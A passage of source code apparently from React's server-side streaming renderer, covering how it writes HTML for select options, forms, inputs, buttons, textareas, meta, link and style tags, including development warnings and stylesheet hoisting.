(hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          // TODO: This doesn't really make sense for select since it can't use the controlled\n          // value in the innerHTML.\n          innerHTML = propValue;\n          break;\n        case 'defaultValue':\n        case 'value':\n          // These are set on the Context instead and applied to the nested options.\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n  pushInnerHTML(target, innerHTML, children);\n  return children;\n}\n\nfunction flattenOptionChildren(children: mixed): string {\n  let content = '';\n  // Flatten children and warn if they aren't strings or numbers;\n  // invalid types are ignored.\n  Children.forEach((children: any), function (child) {\n    if (child == null) {\n      return;\n    }\n    content += (child: any);\n    if (__DEV__) {\n      if (\n        !didWarnInvalidOptionChildren &&\n        typeof child !== 'string' &&\n        typeof child !== 'number' &&\n        typeof child !== 'bigint'\n      ) {\n        didWarnInvalidOptionChildren = true;\n        console.error(\n          'Cannot infer the option value of complex children. ' +\n            'Pass a `value` prop or use a plain string as children to <option>.',\n        );\n      }\n    }\n  });\n  return content;\n}\n\nconst selectedMarkerAttribute = stringToPrecomputedChunk(' selected=\"\"');\n\nfunction pushStartOption(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  formatContext: FormatContext,\n): ReactNodeList {\n  const selectedValue = formatContext.selectedValue;\n\n  target.push(startChunkForTag('option'));\n\n  let children = null;\n  let value = null;\n  let selected = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'selected':\n          // ignore\n          selected = propValue;\n          if (__DEV__) {\n            // TODO: Remove support for `selected` in <option>.\n            if (!didWarnSelectedSetOnOption) {\n              console.error(\n                'Use the `defaultValue` or `value` props on <select> instead of ' +\n                  'setting `selected` on <option>.',\n              );\n              didWarnSelectedSetOnOption = true;\n            }\n          }\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        case 'value':\n          value = propValue;\n        // We intentionally fallthrough to also set the attribute on the node.\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  if (selectedValue != null) {\n    let stringValue;\n    if (value !== null) {\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, 'value');\n      }\n      stringValue = '' + value;\n    } else {\n      if (__DEV__) {\n        if (innerHTML !== null) {\n          if (!didWarnInvalidOptionInnerHTML) {\n            didWarnInvalidOptionInnerHTML = true;\n            console.error(\n              'Pass a `value` prop if you set dangerouslyInnerHTML so React knows ' +\n                'which value should be selected.',\n            );\n          }\n        }\n      }\n      stringValue = flattenOptionChildren(children);\n    }\n    if (isArray(selectedValue)) {\n      // multiple\n      for (let i = 0; i < selectedValue.length; i++) {\n        if (__DEV__) {\n          checkAttributeStringCoercion(selectedValue[i], 'value');\n        }\n        const v = '' + selectedValue[i];\n        if (v === stringValue) {\n          target.push(selectedMarkerAttribute);\n          break;\n        }\n      }\n    } else {\n      if (__DEV__) {\n        checkAttributeStringCoercion(selectedValue, 'select.value');\n      }\n      if ('' + selectedValue === stringValue) {\n        target.push(selectedMarkerAttribute);\n      }\n    }\n  } else if (selected) {\n    target.push(selectedMarkerAttribute);\n  }\n\n  // Options never participate as ViewTransitions.\n  target.push(endOfStartTag);\n  pushInnerHTML(target, innerHTML, children);\n  return children;\n}\n\nconst formReplayingRuntimeScript =\n  stringToPrecomputedChunk(formReplayingRuntime);\n\nfunction injectFormReplayingRuntime(\n  resumableState: ResumableState,\n  renderState: RenderState,\n): void {\n  // If we haven't sent it yet, inject the runtime that tracks submitted JS actions\n  // for later replaying by Fiber. If we use an external runtime, we don't need\n  // to emit anything. It's always used.\n  if (\n    (resumableState.instructions & SentFormReplayingRuntime) === NothingSent &&\n    (!enableFizzExternalRuntime || !renderState.externalRuntimeScript)\n  ) {\n    resumableState.instructions |= SentFormReplayingRuntime;\n    const preamble = renderState.preamble;\n    const bootstrapChunks = renderState.bootstrapChunks;\n    if (\n      (preamble.htmlChunks || preamble.headChunks) &&\n      bootstrapChunks.length === 0\n    ) {\n      // If we rendered the whole document, then we emitted a rel=\"expect\" that needs a\n      // matching target. If we haven't emitted that yet, we need to include it in this\n      // script tag.\n      bootstrapChunks.push(renderState.startInlineScript);\n      pushCompletedShellIdAttribute(bootstrapChunks, resumableState);\n      bootstrapChunks.push(\n        endOfStartTag,\n        formReplayingRuntimeScript,\n        endInlineScript,\n      );\n    } else {\n      // Otherwise we added to the beginning of the scripts. This will mean that it\n      // appears before the shell ID unfortunately.\n      bootstrapChunks.unshift(\n        renderState.startInlineScript,\n        endOfStartTag,\n        formReplayingRuntimeScript,\n        endInlineScript,\n      );\n    }\n  }\n}\n\nconst formStateMarkerIsMatching = stringToPrecomputedChunk('<!--F!-->');\nconst formStateMarkerIsNotMatching = stringToPrecomputedChunk('<!--F-->');\n\nexport function pushFormStateMarkerIsMatching(\n  target: Array<Chunk | PrecomputedChunk>,\n) {\n  target.push(formStateMarkerIsMatching);\n}\n\nexport function pushFormStateMarkerIsNotMatching(\n  target: Array<Chunk | PrecomputedChunk>,\n) {\n  target.push(formStateMarkerIsNotMatching);\n}\n\nfunction pushStartForm(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag('form'));\n\n  let children = null;\n  let innerHTML = null;\n  let formAction = null;\n  let formEncType = null;\n  let formMethod = null;\n  let formTarget = null;\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        case 'action':\n          formAction = propValue;\n          break;\n        case 'encType':\n          formEncType = propValue;\n          break;\n        case 'method':\n          formMethod = propValue;\n          break;\n        case 'target':\n          formTarget = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  let formData = null;\n  let formActionName = null;\n  if (typeof formAction === 'function') {\n    // Function form actions cannot control the form properties\n    if (__DEV__) {\n      if (\n        (formEncType !== null || formMethod !== null) &&\n        !didWarnFormActionMethod\n      ) {\n        didWarnFormActionMethod = true;\n        console.error(\n          'Cannot specify a encType or method for a form that specifies a ' +\n            'function as the action. React provides those automatically. ' +\n            'They will get overridden.',\n        );\n      }\n      if (formTarget !== null && !didWarnFormActionTarget) {\n        didWarnFormActionTarget = true;\n        console.error(\n          'Cannot specify a target for a form that specifies a function as the action. ' +\n            'The function will always be executed in the same window.',\n        );\n      }\n    }\n    const customFields = getCustomFormFields(resumableState, formAction);\n    if (customFields !== null) {\n      // This action has a custom progressive enhancement form that can submit the form\n      // back to the server if it's invoked before hydration. Such as a Server Action.\n      formAction = customFields.action || '';\n      formEncType = customFields.encType;\n      formMethod = customFields.method;\n      formTarget = customFields.target;\n      formData = customFields.data;\n      formActionName = customFields.name;\n    } else {\n      // Set a javascript URL that doesn't do anything. We don't expect this to be invoked\n      // because we'll preventDefault in the Fizz runtime, but it can happen if a form is\n      // manually submitted or if someone calls stopPropagation before React gets the event.\n      // If CSP is used to block javascript: URLs that's fine too. It just won't show this\n      // error message but the URL will be logged.\n      target.push(\n        attributeSeparator,\n        stringToChunk('action'),\n        attributeAssign,\n        actionJavaScriptURL,\n        attributeEnd,\n      );\n      formAction = null;\n      formEncType = null;\n      formMethod = null;\n      formTarget = null;\n      injectFormReplayingRuntime(resumableState, renderState);\n    }\n  }\n  if (formAction != null) {\n    pushAttribute(target, 'action', formAction);\n  }\n  if (formEncType != null) {\n    pushAttribute(target, 'encType', formEncType);\n  }\n  if (formMethod != null) {\n    pushAttribute(target, 'method', formMethod);\n  }\n  if (formTarget != null) {\n    pushAttribute(target, 'target', formTarget);\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n\n  if (formActionName !== null) {\n    target.push(startHiddenInputChunk);\n    pushStringAttribute(target, 'name', formActionName);\n    target.push(endOfStartTagSelfClosing);\n    pushAdditionalFormFields(target, formData);\n  }\n\n  pushInnerHTML(target, innerHTML, children);\n  if (typeof children === 'string') {\n    // Special case children as a string to avoid the unnecessary comment.\n    // TODO: Remove this special case after the general optimization is in place.\n    target.push(stringToChunk(encodeHTMLTextNode(children)));\n    return null;\n  }\n  return children;\n}\n\nfunction pushInput(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  formatContext: FormatContext,\n): ReactNodeList {\n  if (__DEV__) {\n    checkControlledValueProps('input', props);\n  }\n\n  target.push(startChunkForTag('input'));\n\n  let name = null;\n  let formAction = null;\n  let formEncType = null;\n  let formMethod = null;\n  let formTarget = null;\n  let value = null;\n  let defaultValue = null;\n  let checked = null;\n  let defaultChecked = null;\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n        case 'dangerouslySetInnerHTML':\n          throw new Error(\n            `${'input'} is a self-closing tag and must neither have \\`children\\` nor ` +\n              'use `dangerouslySetInnerHTML`.',\n          );\n        case 'name':\n          name = propValue;\n          break;\n        case 'formAction':\n          formAction = propValue;\n          break;\n        case 'formEncType':\n          formEncType = propValue;\n          break;\n        case 'formMethod':\n          formMethod = propValue;\n          break;\n        case 'formTarget':\n          formTarget = propValue;\n          break;\n        case 'defaultChecked':\n          defaultChecked = propValue;\n          break;\n        case 'defaultValue':\n          defaultValue = propValue;\n          break;\n        case 'checked':\n          checked = propValue;\n          break;\n        case 'value':\n          value = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  if (__DEV__) {\n    if (\n      formAction !== null &&\n      props.type !== 'image' &&\n      props.type !== 'submit' &&\n      !didWarnFormActionType\n    ) {\n      didWarnFormActionType = true;\n      console.error(\n        'An input can only specify a formAction along with type=\"submit\" or type=\"image\".',\n      );\n    }\n  }\n\n  const formData = pushFormActionAttribute(\n    target,\n    resumableState,\n    renderState,\n    formAction,\n    formEncType,\n    formMethod,\n    formTarget,\n    name,\n  );\n\n  if (__DEV__) {\n    if (checked !== null && defaultChecked !== null && !didWarnDefaultChecked) {\n      console.error(\n        '%s contains an input of type %s with both checked and defaultChecked props. ' +\n          'Input elements must be either controlled or uncontrolled ' +\n          '(specify either the checked prop, or the defaultChecked prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled input ' +\n          'element and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n        'A component',\n        props.type,\n      );\n      didWarnDefaultChecked = true;\n    }\n    if (value !== null && defaultValue !== null && !didWarnDefaultInputValue) {\n      console.error(\n        '%s contains an input of type %s with both value and defaultValue props. ' +\n          'Input elements must be either controlled or uncontrolled ' +\n          '(specify either the value prop, or the defaultValue prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled input ' +\n          'element and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n        'A component',\n        props.type,\n      );\n      didWarnDefaultInputValue = true;\n    }\n  }\n\n  if (checked !== null) {\n    pushBooleanAttribute(target, 'checked', checked);\n  } else if (defaultChecked !== null) {\n    pushBooleanAttribute(target, 'checked', defaultChecked);\n  }\n  if (value !== null) {\n    pushAttribute(target, 'value', value);\n  } else if (defaultValue !== null) {\n    pushAttribute(target, 'value', defaultValue);\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTagSelfClosing);\n\n  // We place any additional hidden form fields after the input.\n  pushAdditionalFormFields(target, formData);\n\n  return null;\n}\n\nfunction pushStartButton(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag('button'));\n\n  let children = null;\n  let innerHTML = null;\n  let name = null;\n  let formAction = null;\n  let formEncType = null;\n  let formMethod = null;\n  let formTarget = null;\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        case 'name':\n          name = propValue;\n          break;\n        case 'formAction':\n          formAction = propValue;\n          break;\n        case 'formEncType':\n          formEncType = propValue;\n          break;\n        case 'formMethod':\n          formMethod = propValue;\n          break;\n        case 'formTarget':\n          formTarget = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  if (__DEV__) {\n    if (\n      formAction !== null &&\n      props.type != null &&\n      props.type !== 'submit' &&\n      !didWarnFormActionType\n    ) {\n      didWarnFormActionType = true;\n      console.error(\n        'A button can only specify a formAction along with type=\"submit\" or no type.',\n      );\n    }\n  }\n\n  const formData = pushFormActionAttribute(\n    target,\n    resumableState,\n    renderState,\n    formAction,\n    formEncType,\n    formMethod,\n    formTarget,\n    name,\n  );\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n\n  // We place any additional hidden form fields we need to include inside the button itself.\n  pushAdditionalFormFields(target, formData);\n\n  pushInnerHTML(target, innerHTML, children);\n  if (typeof children === 'string') {\n    // Special case children as a string to avoid the unnecessary comment.\n    // TODO: Remove this special case after the general optimization is in place.\n    target.push(stringToChunk(encodeHTMLTextNode(children)));\n    return null;\n  }\n\n  return children;\n}\n\nfunction pushStartTextArea(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  formatContext: FormatContext,\n): ReactNodeList {\n  if (__DEV__) {\n    checkControlledValueProps('textarea', props);\n    if (\n      props.value !== undefined &&\n      props.defaultValue !== undefined &&\n      !didWarnDefaultTextareaValue\n    ) {\n      console.error(\n        'Textarea elements must be either controlled or uncontrolled ' +\n          '(specify either the value prop, or the defaultValue prop, but not ' +\n          'both). Decide between using a controlled or uncontrolled textarea ' +\n          'and remove one of these props. More info: ' +\n          'https://react.dev/link/controlled-components',\n      );\n      didWarnDefaultTextareaValue = true;\n    }\n  }\n\n  target.push(startChunkForTag('textarea'));\n\n  let value = null;\n  let defaultValue = null;\n  let children = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'value':\n          value = propValue;\n          break;\n        case 'defaultValue':\n          defaultValue = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          throw new Error(\n            '`dangerouslySetInnerHTML` does not make sense on <textarea>.',\n          );\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n  if (value === null && defaultValue !== null) {\n    value = defaultValue;\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n\n  // TODO (yungsters): Remove support for children content in <textarea>.\n  if (children != null) {\n    if (__DEV__) {\n      console.error(\n        'Use the `defaultValue` or `value` props instead of setting ' +\n          'children on <textarea>.',\n      );\n    }\n\n    if (value != null) {\n      throw new Error(\n        'If you supply `defaultValue` on a <textarea>, do not pass children.',\n      );\n    }\n\n    if (isArray(children)) {\n      if (children.length > 1) {\n        throw new Error('<textarea> can only have at most one child.');\n      }\n\n      // TODO: remove the coercion and the DEV check below because it will\n      // always be overwritten by the coercion several lines below it. #22309\n      if (__DEV__) {\n        checkHtmlStringCoercion(children[0]);\n      }\n      value = '' + children[0];\n    }\n    if (__DEV__) {\n      checkHtmlStringCoercion(children);\n    }\n    value = '' + children;\n  }\n\n  if (typeof value === 'string' && value[0] === '\\n') {\n    // text/html ignores the first character in these tags if it's a newline\n    // Prefer to break application/xml over text/html (for now) by adding\n    // a newline specifically to get eaten by the parser. (Alternately for\n    // textareas, replacing \"^\\n\" with \"\\r\\n\" doesn't get eaten, and the first\n    // \\r is normalized out by HTMLTextAreaElement#value.)\n    // See: <http://www.w3.org/TR/html-polyglot/#newlines-in-textarea-and-pre>\n    // See: <http://www.w3.org/TR/html5/syntax.html#element-restrictions>\n    // See: <http://www.w3.org/TR/html5/syntax.html#newlines>\n    // See: Parsing of \"textarea\" \"listing\" and \"pre\" elements\n    //  from <http://www.w3.org/TR/html5/syntax.html#parsing-main-inbody>\n    target.push(leadingNewline);\n  }\n\n  // ToString and push directly instead of recurse over children.\n  // We don't really support complex children in the value anyway.\n  // This also currently avoids a trailing comment node which breaks textarea.\n  if (value !== null) {\n    if (__DEV__) {\n      checkAttributeStringCoercion(value, 'value');\n    }\n    target.push(stringToChunk(encodeHTMLTextNode('' + value)));\n  }\n\n  return null;\n}\n\nfunction pushMeta(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  renderState: RenderState,\n  textEmbedded: boolean,\n  formatContext: FormatContext,\n): null {\n  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;\n  const isFallback = formatContext.tagScope & FALLBACK_SCOPE;\n  if (\n    formatContext.insertionMode === SVG_MODE ||\n    noscriptTagInScope ||\n    props.itemProp != null\n  ) {\n    return pushSelfClosing(target, props, 'meta', formatContext);\n  } else {\n    if (textEmbedded) {\n      // This link follows text but we aren't writing a tag. while not as efficient as possible we need\n      // to be safe and assume text will follow by inserting a textSeparator\n      target.push(textSeparator);\n    }\n\n    if (isFallback) {\n      // Hoistable Elements for fallbacks are simply omitted. we don't want to emit them early\n      // because they are likely superceded by primary content and we want to avoid needing to clean\n      // them up when the primary content is ready. They are never hydrated on the client anyway because\n      // boundaries in fallback are awaited or client render, in either case there is never hydration\n      return null;\n    } else if (typeof props.charSet === 'string') {\n      // \"charset\" Should really be config and not picked up from tags however since this is\n      // the only way to embed the tag today we flush it on a special queue on the Request so it\n      // can go before everything else. Like viewport this means that the tag will escape it's\n      // parent container.\n      return pushSelfClosing(\n        renderState.charsetChunks,\n        props,\n        'meta',\n        formatContext,\n      );\n    } else if (props.name === 'viewport') {\n      // \"viewport\" is flushed on the Request so it can go earlier that Float resources that\n      // might be affected by it. This means it can escape the boundary it is rendered within.\n      // This is a pragmatic solution to viewport being incredibly sensitive to document order\n      // without requiring all hoistables to be flushed too early.\n      return pushSelfClosing(\n        renderState.viewportChunks,\n        props,\n        'meta',\n        formatContext,\n      );\n    } else {\n      return pushSelfClosing(\n        renderState.hoistableChunks,\n        props,\n        'meta',\n        formatContext,\n      );\n    }\n  }\n}\n\nfunction pushLink(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  hoistableState: null | HoistableState,\n  textEmbedded: boolean,\n  formatContext: FormatContext,\n): null {\n  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;\n  const isFallback = formatContext.tagScope & FALLBACK_SCOPE;\n  const rel = props.rel;\n  const href = props.href;\n  const precedence = props.precedence;\n  if (\n    formatContext.insertionMode === SVG_MODE ||\n    noscriptTagInScope ||\n    props.itemProp != null ||\n    typeof rel !== 'string' ||\n    typeof href !== 'string' ||\n    href === ''\n  ) {\n    if (__DEV__) {\n      if (rel === 'stylesheet' && typeof props.precedence === 'string') {\n        if (typeof href !== 'string' || !href) {\n          console.error(\n            'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and expected the `href` prop to be a non-empty string but ecountered %s instead. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop ensure there is a non-empty string `href` prop as well, otherwise remove the `precedence` prop.',\n            getValueDescriptorExpectingObjectForWarning(href),\n          );\n        }\n      }\n    }\n    pushLinkImpl(target, props);\n    return null;\n  }\n\n  if (props.rel === 'stylesheet') {\n    // This <link> may hoistable as a Stylesheet Resource, otherwise it will emit in place\n    const key = getResourceKey(href);\n    if (\n      typeof precedence !== 'string' ||\n      props.disabled != null ||\n      props.onLoad ||\n      props.onError\n    ) {\n      // This stylesheet is either not opted into Resource semantics or has conflicting properties which\n      // disqualify it for such. We can still create a preload resource to help it load faster on the\n      // client\n      if (__DEV__) {\n        if (typeof precedence === 'string') {\n          if (props.disabled != null) {\n            console.error(\n              'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and a `disabled` prop. The presence of the `disabled` prop indicates an intent to manage the stylesheet active state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the `disabled` prop, otherwise remove the `precedence` prop.',\n            );\n          } else if (props.onLoad || props.onError) {\n            const propDescription =\n              props.onLoad && props.onError\n                ? '`onLoad` and `onError` props'\n                : props.onLoad\n                  ? '`onLoad` prop'\n                  : '`onError` prop';\n            console.error(\n              'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and %s. The presence of loading and error handlers indicates an intent to manage the stylesheet loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the %s, otherwise remove the `precedence` prop.',\n              propDescription,\n              propDescription,\n            );\n          }\n        }\n      }\n      return pushLinkImpl(target, props);\n    } else {\n      // This stylesheet refers to a Resource and we create a new one if necessary\n      let styleQueue = renderState.styles.get(precedence);\n      const hasKey = resumableState.styleResources.hasOwnProperty(key);\n      const resourceState = hasKey\n        ? resumableState.styleResources[key]\n        : undefined;\n      if (resourceState !== EXISTS) {\n        // We are going to create this resource now so it is marked as Exists\n        resumableState.styleResources[key] = EXISTS;\n\n        // If this is the first time we've encountered this precedence we need\n        // to create a StyleQueue\n        if (!styleQueue) {\n          styleQueue = {\n            precedence: stringToChunk(escapeTextForBrowser(precedence)),\n            rules: ([]: Array<Chunk | PrecomputedChunk>),\n            hrefs: ([]: Array<Chunk | PrecomputedChunk>),\n            sheets: (new Map(): Map<string, StylesheetResource>),\n          };\n          renderState.styles.set(precedence, styleQueue);\n        }\n\n        const resource: StylesheetResource = {\n          state: PENDING,\n          props: stylesheetPropsFromRawProps(props),\n        };\n\n        if (resourceState) {\n          // When resourceState is truty it is a Preload state. We cast it for clarity\n          const preloadState: Preloaded | PreloadedWithCredentials =\n            resourceState;\n          if (preloadState.length === 2) {\n            adoptPreloadCredentials(resource.props, preloadState);\n          }\n\n          const preloadResource = renderState.preloads.stylesheets.get(key);\n          if (preloadResource && preloadResource.length > 0) {\n            // The Preload for this resource was created in this render pass and has not flushed yet so\n            // we need to clear it to avoid it flushing.\n            preloadResource.length = 0;\n          } else {\n            // Either the preload resource from this render already flushed in this render pass\n            // or the preload flushed in a prior pass (prerender). In either case we need to mark\n            // this resource as already having been preloaded.\n            resource.state = PRELOADED;\n          }\n        } else {\n          // We don't need to check whether a preloadResource exists in the renderState\n          // because if it did exist then the resourceState would also exist and we would\n          // have hit the primary if condition above.\n        }\n\n        // We add the newly created resource to our StyleQueue and if necessary\n        // track the resource with the currently rendering boundary\n        styleQueue.sheets.set(key, resource);\n        if (hoistableState) {\n          hoistableState.stylesheets.add(resource);\n        }\n      } else {\n        // We need to track whether this boundary should wait on this resource or not.\n        // Typically this resource should always exist since we either had it or just created\n        // it. However, it's possible when you resume that the style has already been emitted\n        // and then it wouldn't be recreated in the RenderState and there's no need to track\n        // it again since we should've hoisted it to the shell already.\n        if (styleQueue) {\n          const resource = styleQueue.sheets.get(key);\n          if (resource) {\n            if (hoistableState) {\n              hoistableState.stylesheets.add(resource);\n            }\n          }\n        }\n      }\n      if (textEmbedded) {\n        // This link follows text but we aren't writing a tag. while not as efficient as possible we need\n        // to be safe and assume text will follow by inserting a textSeparator\n        target.push(textSeparator);\n      }\n      return null;\n    }\n  } else if (props.onLoad || props.onError) {\n    // When using load handlers we cannot hoist and need to emit links in place\n    return pushLinkImpl(target, props);\n  } else {\n    // We can hoist this link so we may need to emit a text separator.\n    // @TODO refactor text separators so we don't have to defensively add\n    // them when we don't end up emitting a tag as a result of pushStartInstance\n    if (textEmbedded) {\n      // This link follows text but we aren't writing a tag. while not as efficient as possible we need\n      // to be safe and assume text will follow by inserting a textSeparator\n      target.push(textSeparator);\n    }\n\n    if (isFallback) {\n      // Hoistable Elements for fallbacks are simply omitted. we don't want to emit them early\n      // because they are likely superceded by primary content and we want to avoid needing to clean\n      // them up when the primary content is ready. They are never hydrated on the client anyway because\n      // boundaries in fallback are awaited or client render, in either case there is never hydration\n      return null;\n    } else {\n      return pushLinkImpl(renderState.hoistableChunks, props);\n    }\n  }\n}\n\nfunction pushLinkImpl(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n): null {\n  target.push(startChunkForTag('link'));\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n        case 'dangerouslySetInnerHTML':\n          throw new Error(\n            `${'link'} is a self-closing tag and must neither have \\`children\\` nor ` +\n              'use `dangerouslySetInnerHTML`.',\n          );\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  // Link never participate as a ViewTransition\n\n  target.push(endOfStartTagSelfClosing);\n  return null;\n}\n\nfunction pushStyle(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  hoistableState: null | HoistableState,\n  textEmbedded: boolean,\n  formatContext: FormatContext,\n): ReactNodeList {\n  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;\n  if (__DEV__) {\n    if (hasOwnProperty.call(props, 'children')) {\n      const children = props.children;\n\n      const child = Array.isArray(children)\n        ? children.length < 2\n          ? children[0]\n          : null\n        : children;\n\n      if (\n        typeof child === 'function' ||\n        typeof child === 'symbol' ||\n        Array.isArray(child)\n      ) {\n        const childType =\n          typeof child === 'function'\n            ? 'a Function'\n            : typeof child === 'symbol'\n              ? 'a Sybmol'\n              : 'an Array';\n        console.error(\n          'React expect children of <style> tags to be a string, number, or object with a `toString` method but found %s instead. ' +\n            'In browsers style Elements can only have `Text` Nodes as children.',\n          childType,\n        );\n      }\n    }\n  }\n  const precedence = props.precedence;\n  const href = props.href;\n  const nonce = props.nonce;\n\n  if (\n    formatContext.insertionMode === SVG_MODE ||\n    noscriptTagInScope ||\n    props.itemProp != null ||\n    typeof precedence !== 'string' ||\n    typeof href !== 'string' ||\n    href === ''\n  ) {\n    // This style tag is not able to be turned into a Style Resource\n    return pushStyleImpl(target, props);\n  }\n\n  if (__DEV__) {\n    if (href.includes(' ')) {\n      console.error(\n        'React expected the `href` prop for a <style> tag opting into hoisting semantics using the `precedence` prop to not have any spaces but ecountered spaces instead. using spaces in this prop will cause hydration of this style to fail on the client. The href for the <style> where this ocurred is \"%s\".',\n        href,\n      );\n    }\n  }\n\n  const key = getResourceKey(href);\n  let styleQueue = renderState.styles.get(precedence);\n  const hasKey = resumableState.styleResources.hasOwnProperty(key);\n  const resourceState = hasKey ? resumableState.styleResources[key] : undefined;\n  if (resourceState !== EXISTS) {\n    // We are going to create this resource now so it is marked as Exists\n    resumableState.styleResources[key] = EXISTS;\n\n    if (__DEV__) {\n      if (resourceState) {\n        console.error(\n          'React encountered a hoistable style tag for the same href as a preload: \"%s\". When using a style tag to inline styles you should not also preload it as a stylsheet.',\n          href,\n        );\n      }\n    }\n\n    if (!styleQueue) {\n      // This is the first time we've encountered this precedence we need\n      // to create a StyleQueue.\n      styleQueue = {\n        precedence: stringToChunk(escapeTextForBrowser(precedence)),\n        rules: ([]: Array<Chunk | PrecomputedChunk>),\n        hrefs: ([]: Array<Chunk | PrecomputedChunk>),\n        sheets: (new Map(): Map<string, StylesheetResource>),\n      };\n      renderState.styles.set(precedence, styleQueue);\n    }\n\n    const nonceStyle = renderState.nonce.style;\n    if (!nonceStyle || nonceStyle === nonce) {\n      if (__DEV__) {\n        if (!nonceStyle && nonce) {\n          console.error(\n            'React encountered a style tag with `precedence` \"%s\" and `nonce` \"%s\". When React manages style rules using `precedence` it will only include a nonce attributes if you also provide the same style nonce value as a render option.',\n            precedence,\n            nonce,\n          );\n        }\n      }\n      styleQueue.hrefs.push(stringToChunk(escapeTextForBrowser(href)));\n      pushStyleContents(styleQueue.rules, props);\n    } else if (__DEV__) {\n      console.error(\n        'React encountered a style tag with `precedence` \"%s\" and `nonce` \"%s\". When React manages style rules using `precedence` it will only include rules if the nonce matches the style nonce \"%s\" that was included with this render.',\n        precedence,\n        nonce,\n        nonceStyle,\n      );\n    }\n  }\n  if (styleQueue) {\n    // We need to track whether this boundary should wait on this resource or not.\n    // Typically this resource should always exist since we either had it or just created\n    // it. However, it's possible when you resume that the style has already been emitted\n    // and then it wouldn't be recreated in the RenderState and there's no need to track\n    // it again since we should've hoisted it to the shell already.\n    if (hoistableState) {\n      hoistableState.styles.add(styleQueue);\n    }\n  }\n\n  if (textEmbedded) {\n    // This link follows text but we aren't writing a tag. while not as efficient as possible we need\n    // to be safe and assume text will follow by inserting a textSeparator\n    target.push(textSeparator);\n  }\n}\n\n/**\n * This escaping function is designed to work with style tag textContent only.\n *\n * While untrusted style content should be made safe before using this api it will\n * ensure that the style cannot be early terminated or never terminated state\n */\nfunction escapeStyleTextContent(styleText: string) {\n  if (__DEV__) {\n    checkHtmlStringCoercion(styleText);\n  }\n  return ('' + styleText).replace(styleRegex, 